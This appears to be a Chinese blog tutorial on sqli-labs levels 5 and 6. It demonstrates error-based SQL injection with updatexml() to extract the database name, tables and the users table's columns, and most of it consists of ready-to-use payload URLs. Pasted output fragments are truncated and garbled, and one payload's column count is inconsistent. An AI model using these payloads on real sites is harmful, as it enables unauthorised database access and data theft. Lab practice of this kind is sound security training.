sqli-labs 靶场 less-5、6 第五关和第六关:判断注入点、使用错误函数注入爆库名、updatexml()函数

SQLi-Labs是一个用于学习和练习SQL注入漏洞的开源应用程序。通过它,我们可以学习如何识别和利用不同类型的SQL注入漏洞,并了解如何修复和防范这些漏洞。

Less 5

SQLI DUMB SERIES-5
判断注入点:
	1. 首先,尝试正常的回显内容,如?id=1。
	2. 接着,输入?id=1'来查看是否出现语句错误。如果出现,那么可能存在单引号的闭合问题。
判断当前表的字段数:
	 使用order by语句来判断当前表的字段数。例如,?id=1' order by 3--和?id=1' order by 4--,通过页面回显的结果来确定字段数。
使用错误函数注入爆库名:
	1. 既然没有直接的回显信息,您可以使用MySQL的updatexml()函数来触发错误并提取信息。updatexml()函数在第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。
	2. 尝试使用类似?id=1' and updatexml(1, concat(0x7e, version()), 3)--的语句来提取数据库版本信息。
	3. 逐步构造更复杂的语句来提取其他信息,如数据库名、表名等。

判断注入点

通过测试可知使用单引号会使得系统报语法报错

http://sqli-labs.com/Less-5/
?id=1'

ur SQL syntax; check the manual that corresponds to your MySQL server version f
即使使用注释语句重新获取数据页面中也不回显数据。
u are in......
意味着只有报错的时候才会在页面显示数据,那么我们通过使用报错注释函数获取数据。
updatexml

updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。
语法:updatexml(XML_document,XPath_string,new_value)
XML_document:是string格式,为XML文档对象的名称
XPath_string:代表路径,Xpath格式的字符串例如
new_value:string格式,替换查找到的符合条件的数据
updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)

注入

通过报错注入代码,查看数据库名称:

http://sqli-labs.com/Less-5/
?id=1' union select 1,2,updatexml(1,concat("~",database()),3) --+

XPATH syntax erro
获取该数据库的表名:

http://sqli-labs.com/Less-5/
?id=1' union select 1,2,updatexml(1,concat("~",
(select group_concat(table_name) from information_schema.tables where table_schema='security')
),3) --+

ls,referers,u
注入查询users表的列名:

http://sqli-labs.com/Less-5/
?id=1' union select 1,2,updatexml(1,concat("~",
(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')
),3) --+

sername,p

Less 6

SQLI DUMB SERIES-5
判断注入点:同第五关。
判断当前表的字段数:同第五关。
使用错误函数注入提取信息:同第五关。

判断注入点

输入双引号后报错的响应可知为闭合符号:

http://sqli-labs.com/Less-6/
?id=1" 

sqli dump
继续判断字段数量,当数字为3时没报错,得知为3个字段。

http://sqli-labs.com/Less-6/
?id=1" order by 3 --+

e    Dhak

注入

输入正确不返回数据,则我们通过错误函数注入获取数据库。

http://sqli-labs.com/Less-6/
?id=1" union select updatexml(1,concat('~',database()),3); --+

sqli dumb
在错误函数注入中输入语句,用于获取该数据库表名

http://sqli-labs.com/Less-6/
?id=1" union select 1,2,updatexml(1,concat('~',
(select group_concat(table_name) from information_schema.tables where table_schema=database())
),3); --+

_concat(table_na
注入获取数据表列名。

http://sqli-labs.com/Less-6/
?id=1" union select 1,2,updatexml(1,concat('~',
(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')
),3); --+

tabase()

系列文章

  • 5
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值